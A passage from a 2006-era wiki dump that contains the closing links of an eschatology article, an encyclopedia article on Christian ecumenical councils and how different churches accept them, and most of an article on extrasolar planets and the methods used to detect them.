* [[Immanentize the eschaton]]
* [[Judgement day]]
* [[Millennialism]]
* [[Millenarianism]]
* [[Messianism]] and [[Messiah]]
* [[The Pocket Guide to the Apocalypse]]
* [[Six Ages of the World]]
* [[History of unfulfilled prophecy by Christians]]
* [[Ultimate fate of the universe]]

==External links==
*[http://alexm.here.ru/mirrors/www.enteract.com/jwalz/Eliade/eschat.html Death, Afterlife and Eschatology]
*[http://www.monergism.com/thethreshold/articles/topic/eschatology.html Reformed Eschatology]
*[http://www.solagratia.org/covenant.cfm Reformed Eschatology]
*[http://www.solagratia.org/dispensational.cfm Dispensational Eschatology]
*[http://www.biblicaladvancedbasics.com/MidActs.pdf Mid-Acts Dispensational Eschatology]
*[http://www.fourthhorseman.com/Revelation/ Revelation] The magazine of apocalyptic art and literature
*[http://www.xs4all.nl/~mke/exitmundi.htm Exit Mundi] A collection of end-of-world scenarios
*[http://www.bbc.co.uk/radio4/science/briefhistory.shtml ''A Brief History of the End of Everything'', a BBC 4 Radio series]
*[http://www.endofworld.net End of the World - Flash Parody]
*[http://www.armageddononline.org/ Armageddon Online - End of the World Scnearios &amp; Extinction Events]
*[http://www.religioustolerance.org/end_wrl1.htm Religious Tolerance - End of the World Prophecies]
*[http://www.jesus2006.org Signs of the End: A Discovery of Biblical Timelines]
*[http://www.geocities.com/douglas36601/KYMAK.html Visions of Heaven on Earth]
*[http://www.bible.ca/pre-date-setters.htm 220 Dates for the End of the world]
* [http://www.chabad.org/article.asp?AID=108400 What is the Jewish Belief About ‘The End of Days’?] chabad.org
* [http://endtimepilgrim.org The End Time Pilgrim] - A guide into the final seven years of this age.

{{Philosophy portal}}



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  <page>
    <title>Ecumenical council</title>
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      <text xml:space="preserve">: ''See also [[General Council (disambiguation)]]''
{{Christianity}}

In [[Catholicism]] and [[Eastern Orthodoxy]], an '''[[ecumenical]] council''' or '''general council''' is a meeting of the bishops of the whole church convened to discuss and settle matters of Church doctrine and practice.  The word is from [[Greek language|Greek]] &amp;#927;&amp;#953;&amp;#954;&amp;#959;&amp;#965;&amp;#956;&amp;#941;&amp;#957;&amp;#951; (oikumene), which literally means &quot;inhabited&quot;, and was originally a figure of speech referring to the territory of the Roman Empire since the earliest councils were all convoked by Roman emperors. In later usage it was applied in a more general way to mean all places that are inhabited by human beings, therefore &quot;World-wide&quot; or &quot;General&quot;.  &quot;The whole church&quot; is construed by most Eastern Orthodox Christians as including all Eastern Orthodox jurisdictions in [[full communion]] with each other.  This does not include the [[Roman Catholic Church]] or her [[Eastern Rite]] adherents. While a few Orthodox would see a council as fully ecumenical only if it included all the ancient patriarchates, including Rome, this is not mainstream Orthodox opinion.  Similarly, Roman Catholics take the ''whole church'' to mean &quot;only&quot; those in [[full communion]] with the (Roman) Catholic church. Again, some Catholics would see it necessary to include the Eastern Churches in an ecumenical council, in the full and proper sense. As [[Pope John Paul II]] often put it, the Church needs to breathe &quot;with its two lungs&quot; (he was however referring to the Eastern Rite churches in full communion with Rome)  More local meetings are sometimes called &quot;[[synod]]s&quot;, but the distinction between a synod and a council is not hard and fast.  However, both churches do recognize the validity of all of the early councils before the [[East-West Schism|Great Schism]], with the exception of the [[Fourth Council of Constantinople]], which Catholics hold to be the council of 869&amp;ndash;870 and Orthodox the subsequent council of 879&amp;ndash;880.

The Greek word &quot;synod&quot; (&amp;#963;&amp;#973;&amp;#957;&amp;#959;&amp;#948;&amp;#959;&amp;#962;) derives from &quot;syn&quot; (together) and &quot;odos&quot; (road, way), therefore a synod is the coming together of several people sharing a common element, in this case the Christian bishops.

== Council documents ==
Church councils were, from the beginning, bureaucratic exercises.  Written documents were circulated, speeches made and responded to, votes taken, and final documents published and distributed.  A large part of what we know about the beliefs of [[Heresy|heresies]] comes from the documents quoted in councils in order to be refuted, or indeed only from the deductions based on the refutations.  For all councils '''Canons''' (Greek &amp;#954;&amp;#945;&amp;#957;&amp;#959;&amp;#957;&amp;#949;&amp;#962; (kanones), &quot;rules&quot; or &quot;rulings&quot;) were published and survive.  In some cases other documentation survives as well.  Study of the canons of church councils is the foundation of the development of [[canon law]], especially the reconciling of seemingly contradictory canons or the determination of priority between them.  Canons consist of doctrinal statements and disciplinary measures &amp;mdash; most Church councils and local synods dealt with immediate disciplinary concerns as well as major difficulties of doctrine. [[Eastern Orthodoxy]] typically views the purely doctrinal canons as dogmatic and applicable to the entire church at all times, while the disciplinary canons are the application of those dogmas in a particular time and place; these canons may or may not be applicable in other situations.

== List of ecumenical councils ==

=== Councils #1 to #7 ===

* 1. [[First Council of Nicaea]], ([[325]]); repudiated [[Arianism]], adopted the [[Nicene Creed]]. This and all subsequent councils are not recognized by [[Nontrinitarianism|nontrinitarian]] churches: [[Arianism|Arian]]s, [[Unitarian]]s, and [[Jehovah's Witnesses]] et al.
* 2. [[First Council of Constantinople]], ([[381]]); revised the [[Nicene Creed]] into present form used in the Eastern and Oriental Orthodox churches and prohibited any further alteration of the Creed without the assent of an Ecumenical Council.
* 3. [[Council of Ephesus]], ([[431]]); repudiated [[Nestorianism]], proclaimed the Virgin Mary as the Mother of God (Greek, [[Theotokos|&amp;#919; &amp;#920;&amp;#949;&amp;#959;&amp;#964;&amp;#972;&amp;#954;&amp;#959;&amp;#962;;]]). This and all following councils are not recognized by [[Assyrian Church of the East|Assyrian]] Church.
* 4. [[Council of Chalcedon]], ([[451]]); repudiated the [[Eutyches|Eutychian]] doctrine of [[monophysitism]], described and delineated the two natures of Christ, human and divine; adopted the [[Chalcedonian Creed]]. This and all following councils are not recognized by [[Oriental Orthodoxy|Oriental Orthodox Communion]].
* 5. [[Second Council of Constantinople]], ([[553]]); reaffirmed decisions and doctrines explicated by previous Councils, condemned new Arian, Nestorian, and Monophysite writings.
* 6. [[Third Council of Constantinople]], ([[680]]&amp;ndash;[[681]]); repudiated [[Monothelitism]], affirmed that Christ had both human and Divine wills.
**[[Quinisext Council]] (= Fifth and Sixth) or Council in Trullo, ([[692]]); mostly an administrative council that raised some local canons to ecumenical status and established principles of clerical discipline. It is not considered to be a full-fledged council in its own right because it did not determine matters of doctrine. This council is accepted by the Eastern Orthodox Church as a part of VI ecumenical council, but that is rejected by Roman Catholics.
* 7. [[Second Council of Nicaea]], ([[787]]); restoration of the veneration of [[Icon|Icons]] and end of the first [[Iconoclasm]]  (Rejected by many Protestant denominations, who instead prefer the Council of Constantinople of 754, which condemned the veneration of icons.)

=== Councils #8 and #9 ===

==== #8 and #9 for Catholics ====

* 8 (cor). [[Fourth Council of Constantinople]], ([[869]]&amp;ndash;[[870]]) Deposed Patriarch Photios of Constantinople (who was later made a saint by the Orthodox Church) because of certain irregularities involved in his assumption of the patriarchal throne, such as the fact that his predecessor St. Ignatius had not been validly deposed.  This deposition was not accepted by the [[Eastern Orthodoxy|Eastern Orthodox]] Church at the time, but was within a few years.  In any case, after the death of St. Ignatius, Photios was reinstated as Patriarch and reconciled with the Papacy.
**[[Council of Sutri]], ([[1046]]), resolved dispute over papacy.
* 9 (cor)  [[First Lateran Council]], ([[1123]]) Dealt with one of the pressing issues of the time, the question of the rights of the Catholic Church and those of the Holy Roman Emperors with respect to the investment of bishops.

==== #8 and #9 for some Eastern Orthodox ====

The next two are regarded as ecumenical by some in the [[Orthodox Church]] but not by other Eastern Orthodox Christians, who instead consider them to be important local councils.

* 8 (eo). [[Fourth Council of Constantinople]], ([[879]]&amp;ndash;[[880]]); restored St. [[Photius]] to his See in Constantinople and anathematized any who altered the Nicene-Constantinopolitan Creed.
* 9 (eo). [[Fifth Council of Constantinople]], ([[1341]]&amp;ndash;[[1351]]); affirmed hesychastic theology according to St. [[Gregory Palamas]] and condemned the Westernized philosopher [[Barlaam of Calabria]].
**[[Synod of Jerusalem]], ([[1672]]), defined Orthodoxy relative to Roman Catholicism and Protestantism, defined Greek Orthodox [[Biblical canon|canon]].

=== Councils #10 to #21 for Catholics ===

* 10. [[Second Council of the Lateran]], ([[1139]]) - mostly repeated [[First Council of the Lateran]]. Clerical marriages declared invalid, clerical dress regulated, attacks on clerics punished by [[excommunication]]
* 11. [[Third Council of the Lateran]], ([[1179]]) -  limited papal electees to the cardinals alone, condemned [[simony]], forbade the promotion of anyone to the episcopate before the age of thirty.
* 12. [[Fourth Council of the Lateran]], ([[1215]]) - dealt with [[transubstantiation]], papal primacy and conduct of clergy. Also said Jews and Muslims should wear a special dress to enable them to be distinguished from Christians.
* 13. [[First Council of Lyons]], ([[1245]]) - set a red hat for [[cardinal (Catholicism)|cardinals]], and a levy for the Holy Land
* 14. [[Second Council of Lyons]], ([[1274]])
* 15. [[Council of Vienne]], ([[1311]]&amp;ndash;[[1312]])  - Disbanded [[Knights Templar (military order)|Knights Templar]]
** [[Council of Pisa]], ([[1409]]) is not officially recognized because was not called by a pope.
* 16. [[Council of Constance]], ([[1414]]&amp;ndash;[[1418]]), resolved dispute over papacy.
** [[Council of Siena]], ([[1423]]&amp;ndash;[[1424]]) is the high point of  [[conciliarism]], emphasizing the leadership of the bishops gathered in council.
* 17. [[Council of Basel]], Ferrara and Florence, ([[1431]]&amp;ndash;[[1445]]); reconciliation with the Orthodox Church, which, however, was not accepted in following years by the Christian East. In this council, other unions were achieved with various Eastern Churches as well.
* 18. [[Fifth Council of the Lateran]], ([[1512]]&amp;ndash;[[1517]]); attempted reform of the Church.
* 19. [[Council of Trent]], ([[1545]]&amp;ndash;[[1563]], discontinuously); response to the challenges of [[Calvinism]] and [[Lutheranism]]; imposition of uniformity in liturgy in the Roman Rite (the &quot;[[Tridentine Mass]]&quot;), clearly defined [[Biblical canon|canon]].
* 20. [[First Vatican Council]], [[1870]]; clarification of the doctrine of [[papal infallibility]]; rejected by [[Old Catholic Church]]
* 21. [[Second Vatican Council]], ([[1962]]&amp;ndash;[[1965]]); renewal of the Roman liturgy &quot;according to the pristine norm of the Fathers&quot;; pastoral decrees on the nature of the Church and its relation to the modern world; restoration of a theology of communion; promotion of Scripture and biblical studies; ecumenical progress towards reconciliation with other Churches.

== Acceptance of the councils ==

=== Mormonism: accept none ===
[[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] rejects the early ecumenical councils for what they see as misguided human attempts without divine assistance to decide matters of doctrine as though doctrine were to be handed down by [[democracy|democratic]] debate or [[politics]] rather than by [[revelation]]. That convening such councils was even considered is evidence enough to them that the original Christian church had fallen into [[Great Apostasy|apostasy]] and was no longer directly led by divine authority. They see the calling of such councils, for example, by an unbaptized (let alone unordained) Roman Emperor as preposterous and assert that the emperors used the councils to exercise their influence to shape and institute Christianity to their liking.

===Nontrinitarian churches: accept none ===
The first and subsequent councils are not recognized by nontrinitarian churches: [[Arianism|Arians]], [[Unitarians]], [[Jehovah's Witnesses]] et al.

=== The Assyrian Church: accept #1, and #2 ===
The [[Assyrian Church of the East]] only accepts the First Council of Nicaea and the First Council of Constantinople.

=== Oriental Orthodoxy: accept #1, #2, and #3 ===
The [[Oriental Orthodoxy|Oriental Orthodox]] Communion only accepts Nicaea I, Constantinople I and the Council of Ephesus.

=== Protestantism: accept #1-#7 with reservations ===
Many [[Protestantism|Protestants]] (especially those belonging to the magisterial traditions, such as [[Lutheranism]] and [[Anglicanism]]) accept the teachings of the first seven councils, but do not ascribe to the councils themselves the same authority as Catholics and the Eastern Orthodox do.

Some Protestants, including some [[fundamentalist Christianity|fundamentalist]] and [[Nontrinitarianism|nontrinitarian]] churches, condemn the ecumenical councils for other reasons. Independency or [[congregationalism]] among Protestants involves the rejection of any governmental structure or binding authority above local congregations; conformity to the decisions of these councils is therefore considered purely voluntary and the councils are to be considered binding only insofar as those doctrines are derived from the Scriptures. Many of these churches reject the idea that anyone other than the authors of Scripture can directly lead other Christians by original divine authority; after the [[New Testament]], they assert, the doors of revelation were closed. They consider new doctrines not derived from the sealed [[Biblical canon|canon]] of Scripture to be both impossible and unnecessary, whether proposed by church councils or by more recent [[prophet]]s. Supporters of the councils contend that the councils did not create new doctrines but merely elucidated doctrines already in Scripture that had gone unrecognized.

=== Eastern Orthodoxy: accept #1-#7; some also accept #8(eo), #9(eo) ===
As far as some Eastern Orthodox are concerned, since the Seventh Ecumenical Council there has been no synod or council of the same scope as any of the Ecumenical councils.  Local meetings of hierarchs have been called &quot;pan-Orthodox&quot;, but these have invariably been simply meetings of local hierarchs of whatever Eastern Orthodox jurisdictions are party to a specific local matter.  From this point of view, there has been no fully &quot;pan-Orthodox&quot; ('''Ecumenical''') council since [[787]].  Unfortunately, the use of the term &quot;pan-Orthodox&quot; is confusing to those not within Eastern Orthodoxy, and it leads to mistaken impressions that these are ''ersatz'' ecumenical councils rather than purely local councils to which nearby Orthodox hierarchs, regardless of jurisdiction, are invited.

Others, including 20th century theologians Metropolitan [[Hierotheos (Vlachos)]] of [[Nafpaktos]], Fr. [[John S. Romanides]], and Fr. [[George Metallinos]] (all of whom refer repeatedly to the &quot;Eighth and Ninth Ecumenical Councils&quot;), Fr. [[George Dragas]], and the [[1848]] [[Encyclical of the Eastern Patriarchs]] (which refers explicitly to the &quot;Eighth Ecumenical Council&quot; and was signed by the [[patriarch]]s of [[Constantinople]], [[Jerusalem]], [[Antioch]], and [[Alexandria]] as well as the Holy Synods of the first three), regard other synods beyond the [[Second Council of Nicaea|Seventh Ecumenical Council]] as being ecumenical.  Those who regard these councils as ecumenical often characterize the limitation of Ecumenical Councils to only seven to be the result of [[Society of Jesus|Jesuit]] influence in Russia, part of the so-called &quot;Western Captivity of Orthodoxy.&quot;

=== Roman Catholicism: accept #1-#7, #8(cor), #9(cor), #10-#21 ===
Both the Catholic and Eastern Orthodox churches recognize seven councils in the early years of the church, but Catholics also recognize fourteen councils called in later years by the Pope, whose authority the Eastern Orthodox deny as they consider Rome to currently be in [[schism]].  The status of these councils in the face of a Catholic-Orthodox reconciliation would depend upon whether one accepts Roman Catholic ecclesiology (papal primacy) or Orthodox ecclesiology (collegiality of autocephalous churches).  In the former case, the additional councils would be granted the status of '''Ecumenical'''.  In the latter case, they would be considered to be local synodal decisions with no authority among the other autocephalous churches.

The first seven councils were called by the emperor (first the Christian [[Roman Emperors]] and later the so-called [[Byzantine Emperors]], i.e., the Roman Emperors with the capital in the East).  Most historians agree that the emperors called the councils to force the Christian bishops to resolve divisive issues and reach consensus. They hoped that maintaining unity in the Church would help maintain unity in the Empire. The relationship of the [[Papacy]] to the validity of these councils is the ground of much controversy between Roman Catholicism and Eastern Orthodox Churches and to historians.

==== Relations between Roman Catholicism and Eastern Orthodoxy ====
In the past few decades, many Roman Catholic theologians and even Popes have spoken of the first seven councils as ecumenical in some sort of &quot;full and proper sense&quot;, enjoying the acceptance of both East and West.  Moreover, [[Pope John Paul II]], in his encyclical &lt;i&gt;Ut Unum Sint&lt;/i&gt; (&quot;That they may be one&quot;), invited other Christians to discuss how the primacy of the Bishop of Rome should be appropriately exercised from now on; he says that the future may be a better guide than the past.  In this way, the Bishop of Rome is allowing for the development of an ecclesiology that would be acceptable to both East and West, would allow for reconciliation of Catholic and Orthodox Churches, and would provide a common understanding of the authority of councils called ecumenical.

The mutual excommunications of [[1054]] between the [[Pope|Pope of Rome]] and the [[Ecumenical Patriarch|Patriarch]] of Constantinople were lifted in [[1965]] by their successors at that time. Moreover, the [[1054]] &quot;[[East-West Schism|Great Schism]]&quot; took place when the Bishop of Rome was dead; Orthodox and Catholics in many places continued to recognize each other as members of the universal Church for generations. In fact, the Churches drifted apart over time, becoming clearly separated only after the looting of Constantinople by [[Crusades|Crusaders]], the deposition of the Patriarch of Constantinople, and the creation of a &quot;Latin Patriarchate&quot; in hostile opposition to the Orthodox Patriarch in the thirteenth century.  As these Churches today work towards reconciliation, the restoration of full communion will also take time.  A generally accepted Orthodox perspective on the ecumenical councils will be complemented by some equally agreed upon understanding of the primacy of the Roman Pope, as the successor of Peter.

Similarly, on [[November 11]], [[1994]] at meeting of [[Mar Dinkha IV]], [[List of Patriarchs of Babylon|Patriarch of Babylon, Selucia-Ctesiphon and all of the East]] ([[Chicago, Illinois]]), leader of the [[Assyrian Church of the East|Assyrian]] or &quot;[[Nestorian]]&quot; church, and the Roman Catholic Pope John Paul II at the [[Vatican City|Vatican]], a ''Common Christological Declaration'' was signed, bridging a schism dating from the [[Third Ecumenical Council]] at [[Council of Ephesus|Ephesus]]. The separation of the [[Coptic Church]] from the [[one holy catholic and apostolic Church]] after the [[Fourth Ecumenical Council]] at [[Council of Chalcedon|Chalcedon]] was addressed in a &quot;Common Declaration of Pope Paul VI and of [[List of Coptic Popes|the Pope of Alexandria]] [[Shenouda III]]&quot; at the Vatican on [[May 10]], [[1973]] and in an &quot;Agreed Statement&quot; prepared by the &quot;[[Joint Commision of the Theological Dialogue between the Orthodox Church and the Oriental Orthodox Churches]]&quot; at [[Anba Bishoy Monastery]] in [[Wadi El-Natroun]], Egypt on [[June 24]], [[1989]].

== External links ==
* [http://www.piar.hu/councils/~index.htm All Catholic Church Ecumenical Councils - All the Decrees]
* [http://www.geocities.com/trvalentine/orthodox/8-9synods.html The Eighth and Ninth Ecumenical Councils]

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[[Category:Oriental Orthodoxy]]
[[Category:Eastern Orthodox Church councils]]
[[Category:Roman Catholic Church Councils|*]]

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  <page>
    <title>Extrasolar planet</title>
    <id>9763</id>
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      <timestamp>2006-03-03T01:19:02Z</timestamp>
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      <comment>/* Radial velocity */</comment>
      <text xml:space="preserve">[[Image:GQ Lupi.jpg|thumb|right|250px|[[Infrared]] image of the star GQ Lupi (A) orbited by a planet (b) at a distance of approximately 20 times the distance between [[Jupiter (planet)|Jupiter]] and our [[Sun]].]]

An '''extrasolar planet''', alternatively termed an '''exoplanet''', is a [[planet]] which [[orbit]]s a [[star]] other than the [[Sun]], and therefore belongs to a [[planetary system]] other than the [[solar system]].

Although extrasolar planets were long posited, no planets orbiting [[main sequence]] stars were discovered until the 1990s. Since the beginning of the current decade, however, about two dozen are discovered every year. The discovery of extrasolar planets raises the question of whether they might support [[extraterrestrial life]].

==History of detection==
Discoveries regarding extrasolar planets were first published in 1989, [http://adsabs.harvard.edu/cgi-bin/nph-bib_query?bibcode=1989Natur.339...38L&amp;db_key=AST&amp;high=38e3791fce15671] [http://cdsads.u-strasbg.fr/cgi-bin/nph-bib_query?1989JBIS...42..335L&amp;db_key=AST&amp;nosetcookie=1] when variations in the [[Doppler effect#Astronomy|radial velocities]] of [[HD 114762]] and [[Alrai]] (&amp;gamma; Cephei) were explained as being caused by sub-[[brown dwarf]] masses, possibly giant planets (11 M&lt;sub&gt;J&lt;/sub&gt; &amp;amp; 2-3 M&lt;sub&gt;J&lt;/sub&gt; respectively). Alrai had been the subject of a paper [http://adsbit.harvard.edu/cgi-bin/nph-iarticle_query?bibcode=1988ApJ...331..902C] the year before, but the question of a planetary companion as the cause was left open. Subsequent work in [[1992]] however concluded that the data were not solid enough to declare the presence of a planet, [http://adsbit.harvard.edu/cgi-bin/nph-iarticle_query?bibcode=1992ApJ...396L..91W] although ten years later improved techniques allowed the planet to finally be confirmed. The case for HD 114762 has yet to be disproven, but [[as of 2005]] it is considered to be a low-mass star in a face-on orbit. In 1991, [[Andrew Lyne]] claimed to have discovered a  [[pulsar planet]] in orbit around [[PSR 1829-10]], using pulsar timing variations. However he retracted it in 1992, when it was pointed out that his team did not properly account for Earth's motion, and with such accounting, the planet disappeared.

The [[Poland|Polish]] astronomer [[Aleksander Wolszczan]] (with [[Dale Frail]]) also claimed to have found the first extrasolar planets in [[1993]], later confirmed, orbiting the [[pulsar]] [[PSR 1257+12]]. They are believed to be formed from the unusual remnants of the [[supernova]] that produced the pulsar, in a second round of planet formation, or the rocky cores that remain of [[gas giant]]s that survived the supernova, and spiralled in to their current orbits. 

Extrasolar planets around solar-type stars began to be discovered in large numbers during the late 1990s as a result of improved [[telescope]] [[technology]], such as [[Charge coupled device|CCD]] and [[computer]]-based [[image processing]]. Such advances allowed for more accurate measurements of [[stellar dynamics|stellar motion]], allowing [[astronomer]]s to detect planets, not visually (the [[luminosity]] of a planet is generally too low for such detection), but by measuring [[gravity|gravitational]] influences upon stars (see [[astrometrics]] and [[radial velocity]]). Extrasolar planets can also be detected by measuring the variation in a star's apparent luminosity as a planet passes in front of it (see [[eclipse]]).

The first definitive extrasolar planet around a main sequence star ([[51 Pegasi]]) was announced on [[October 6]], [[1995]] by [[Michel Mayor]] and [[Didier Queloz]] of the [[University of Geneva]]. Since then scores of planets have been detected, and some claims from the late 1980s substantiated, many by a team led by [[Geoffrey Marcy]] at the [[University of California]]'s [[Lick Observatory|Lick]] and [[Keck Observatory|Keck]] [[Observatory|Observatories]]. The first system to have more than one planet detected was [[Upsilon Andromedae|&amp;upsilon; Andromedæ]]. The majority of the detected planets have highly [[ellipse|elliptical]] orbits. Most of the planets so far discovered are high-mass and most are larger than [[Jupiter (planet)|Jupiter]], but on January 25, 2006 astronomers announced a rocky or ice planet of 5 Earth masses. [http://tvnz.co.nz/view/page/411419/653815]

In July, 2004, it was announced that the [[Hubble Space Telescope]] had been used to detect an additional 100 planets, but the presence of these planets could not yet be confirmed. Besides this, many observations point to the existence of millions of [[comet]]s also in extrasolar systems. 


As of January 2006, there were 153 known planetary systems around main sequence stars, containing at least 176 known planets. [http://vo.obspm.fr/exoplanetes/encyclo/catalog.php]

==Methods of detection==
[[Image:Extrasolar Planets 2004-08-31.png|thumb|350px|All extrasolar planets discovered by radial velocity (blue dots), transit (red) and microlensing (yellow) to [[31 August]] [[2004]]. Also shows detection limits of forthcoming space- and ground-based instruments.]]

There are currently six methods of detecting extrasolar planets which are too faint relative to their much brighter host stars to be directly detected by present conventional optical means. 

The planned [[Space Interferometry Mission]], [[Terrestrial Planet Finder]] and [[Darwin (ESA)|Darwin]] would all try to examine planets in a more direct fashion.

===Pulsar timing===
The first method used to discover extra-solar planets was to observe anomalies in the regularity of pulses from a [[pulsar]]. This led to the 'discovery' of the first planet with the orbital period of one year. That was later retracted, as it was actually the failure to account for the motion of the Earth through its orbit. However, this method did lead to the discovery of the first planets, and first stellar system outside of our own, by [[Aleksander Wolszczan]]. It also led to the discovery of the oldest known planet, by [[Steinn Sigurdsson]]'s team, around [[PSR B1620-26]]'s binary stellar core. This planet is the only known planet to orbit two stars.
The pulsar timing method involves precise measurements of the signal of a pulsar in order to determine if there are any timing anomalies in the period of the pulses. Subsequent calculations are used to determine what could cause the anomalies. This method is commonly used to detect pulsar companions but is not used to specifically find planets.

===Astrometry===
{{main|Astrometry}}

Astrometry is the oldest method used in the search for extrasolar planets, used as early as [[1943]]. A number of candidates have been found since but none of them are confirmed and most astronomers have given up on this method for more successful ones. The method involves measuring the [[proper motion]] of a star in the search for an influence caused by its planets, but, unfortunately, changes in proper motion are so small that the best current equipment cannot produce reliable enough measurements. This method requires that the planets' orbits be nearly perpendicular to Earth's line of sight, and so planets detected by it could not be confirmed by other methods.

===Radial velocity===
The radial velocity method measures variations in the speed with which the star moves away from Earth or towards Earth, that is, the component along the line of sight, of the relative velocity of the star with respect to Earth. The radial velocity can be deduced from the displacement in the parent star's [[spectral line]]s due to the [[Doppler effect]]. Its variations are induced by the planet orbiting the star, because both orbit their mutual [[barycenter]], as explained by solutions to the [[two-body problem]]. The velocity of the star around the barycenter is much smaller than that of the planet because the radii of the orbits and hence also the velocities are inversely proportional to the masses. Velocities down to 1 m/s can be detected with modern spectrometers, as e.g. the HARPS ([[High Accuracy Radial Velocity Planet Searcher]]) spectrometer at the [[ESO]] 3.6 meter telescope in [[La Silla Observatory]], Chile.

This is the first and by far most successful technique used by planet hunters. It is also known as the &quot;Doppler method&quot; or &quot;Wobble method&quot;. But it works only for relatively nearby stars out to about 160 light-years away from Earth. It easily finds planets that are close to stars, but struggles to detect those orbiting at great distances. The Doppler method can be used to confirm findings made by using the [[#Transit method|transit method]].

===Gravitational microlensing===
{{main|Gravitational lens}}

The gravitational microlensing effect occurs when the gravitational field of a planet and its parent star act to magnify the light of a distant background star. For the effect to work the planet and star
must pass almost directly between the observer and the distant star. Since such events are rare, a very large number of distant stars must be continuously monitored in order to detect planets at a reasonable rate. This method is most fruitful for planets between earth and the center of the galaxy, as the galactic center provides a large number of background stars.

Gravitational microlensing has a checkered past. In [[1986]], Polish astronomer [[Bohdan Paczy&amp;#324;ski]] of [[Princeton University]] first proposed using it to look for mysterious [[dark matter]], the unseen material that is thought to dominate the universe. In 1991 he suggested it might be used to find planets. Successes with the gravity lensing method date back to [[2002]], when a group of Polish astronomers ([[Andrzej Udalski]], [[Marcin Kubiak]] and [[Micha&amp;#322; Szyma&amp;#324;ski]] from [[Warsaw]], and Bohdan Paczy&amp;#324;ski) during project [[OGLE]] (the [[Optical Gravitational Lensing Experiment]]) perfected a workable method. During one month they claimed to find objects, many of which could be planets. Since then, two extrasolar planets have been detected using microlensing, and this technique is viewed as one of the most promising methods for finding Earth-mass planets around sun-like stars.

Lensing events are brief, lasting for weeks or days, as the two stars and Earth are all moving relative to each other. More than 1,000 stars have been detected in microlensing relationships over the past ten years. Observations are usually performed using networks of [[robotic telescope|robotic telescopes]].

The key advantage of gravitational microlensing is that it allows low mass (i.e. Earth-mass) planets to be detected using available technology. A notable disadvantage is that the lensing cannot be repeated because the chance alignment never occurs again. Also, the detected planets will tend to be several kiloparsecs away, so follow-up observations would not be possible. However, if enough background stars can be observed with enough accuracy then the method can be used to determine how common earth-like planets are in the galaxy.

In addition to the [[NASA]]/[[National Science Foundation]]-funded OGLE, the [[Microlensing Observations in Astrophysics]] (MOA) group is working to perfect this technique.

Even more ambitious, microlensing observations with a world-spanning telscope network as carried out by the
PLANET ([[Probing Lensing Anomalies NETwork]])/RoboNet campaign allow nearly-continuous
round-the-clock coverage providing the opportunity to pick up and follow signals from planets with masses as low as Earth.
This strategy was successful in detecting the first low-mass planet on a wide orbit, designated [[OGLE-2005-BLG-390Lb]]. Currently, there is no other technique capable of detecting low-mass and Earth-like planets.

===Transit method===
[[Image:Planetary transit.svg|thumb|300px|right|Transit Method]]
A recently developed method detects a planet's shadow when it [[Astronomical transit|transit]]s in front of its host star. This &quot;transit method&quot; works only for the small percentage of planets whose orbits happen to be perfectly aligned from astronomers' vantage point, but can be used on very distant stars. It is expected to lead to the first detection of an Earth-size planet orbiting a sun-like star when employed by NASA's forthcoming space-based [[Kepler observatory]]. 

While the aforementioned methods allow the determination of a planet's mass, this method can be used to measure the radius of a planet. When combined with the radial velocity technique, one can determine the density of the planet, and hence learn something about the physical structure of the planet.

Most of these extrasolar planets found are of relatively high mass, with at least 40 times that of the [[Earth]]. However, a few seem to be approximately the size of the Earth. This reflects current telescope technology, which is not able to detect smaller planets. The mass distribution should not be taken as a reference for a general estimate, since it is likely that many more planets with smaller mass, even in nearby planetary systems, are still undetected.

The [[Kepler Space Mission]] is a space-based telescope set to launch in [[2007]], although NASA administrator [[Michael D. Griffin|Mike Griffin]] has indicated that it may be delayed by diversion of money earmarked for the general space telescope program toward a new Hubble maintenance mission. The Kepler is designed specifically to search large numbers of stars for Earth-sized terrestrial planets using the transit method. The [[French Space Agency]], in conjunction with the [[European Space Agency]], plans a similar mission with its [[Corot (space mission)|Corot]] space telescope due to launch in 2006. The transit detection method will also be employed but it is expected that Corot will only find rock planets that are several times larger than Earth.

Extrasolar planets also cause the [[Rossiter-McLaughlin effect]], which can be another clue to an extrasolar planet's existence.

===Circumstellar disks===
An even newer approach is the study of [[Interstellar cloud|dust clouds]]. Many solar systems contain a significant amount of space dust that is present due to frequent dust generation activity such as comets, asteroid and planetary collisions. This dust forms as a disc around a star and absorbs regular star light and re-emits it as [[infrared]] radiation. These dust clouds can provide invaluable information through studies of their density and distortion, caused either by an orbiting planet &quot;catching&quot; the dust, or distortion due to gravitational influences of orbiting planets.

Unfortunately this method can only be employed by space-based observations because our atmosphere absorbs most infrared radiation, making ground based observation impossible. Our own solar system contains enough dust to make up about 1/10th the mass of our moon. Although its mass is negligible, its surface area is so great that at a distance, its infrared emissions would outshine all our planets by a factor of 100.

The [[Hubble Space Telescope]] is capable of these observations using its NICMOS (Near Infrared Camera and Multi-Object Spectrometer) instrument, but was unable to do so due to a cooling unit malfunction that left NICMOS inoperative between 1999 and 2002. Even better images were then taken by its sister instrument, the [[Spitzer Space Telescope]] (formerly SIRTF, the Space Infrared Telescope Facility), in 2003. The Spitzer Telescope was designed specifically for use in the infrared range and probes far deeper into the spectrum than the Hubble Space Telescope can.

===Direct observation===
[[Image:Phot-14a-05-preview.jpg|right|250px|thumb|2005 image of [[2M1207]] (blue) and its planetary companion, [[2M1207b]], one of the first exoplanets to be directly imaged, in this case from the [[Very Large Telescope]] array in [[Chile]].]]

In March [[2005]] it was announced that scientists using the [[Spitzer Space Telescope]] were able to detect infrared radiation emitted from two extrasolar planets. The two teams, from the [[Harvard-Smithsonian Center for Astrophysics]], led by David Charbonneau and the [[Goddard Space Flight Center]], led by L. D. Deming studied the planets [[HD 209458b]] and [[TrES-1]]. They were able to measure the temperatures of the planets: 1,060 [[Kelvin]] (1,450°[[Fahrenheit|F]]) for [[TrES-1]] and about 1,130 Kelvin (1,570°F) for [[HD 209458b]].

In early 2005, two groups, both using the [[European Southern Observatory]]'s [[Very Large Telescope]] array in Chile announced direct [[infrared]] images of extrasolar planets: [[GQ Lupi b]] and [[2M1207b]]. Both planets are believed to be several times the mass of [[Jupiter (planet)|Jupiter]] and orbit at distances greater than 50 AU from their primary star. [[As of 2005|As of May 2005]], their status as planetary objects (as opposed to being small [[brown dwarf]] stars) has not been firmly established.

==Solar system formation processes==
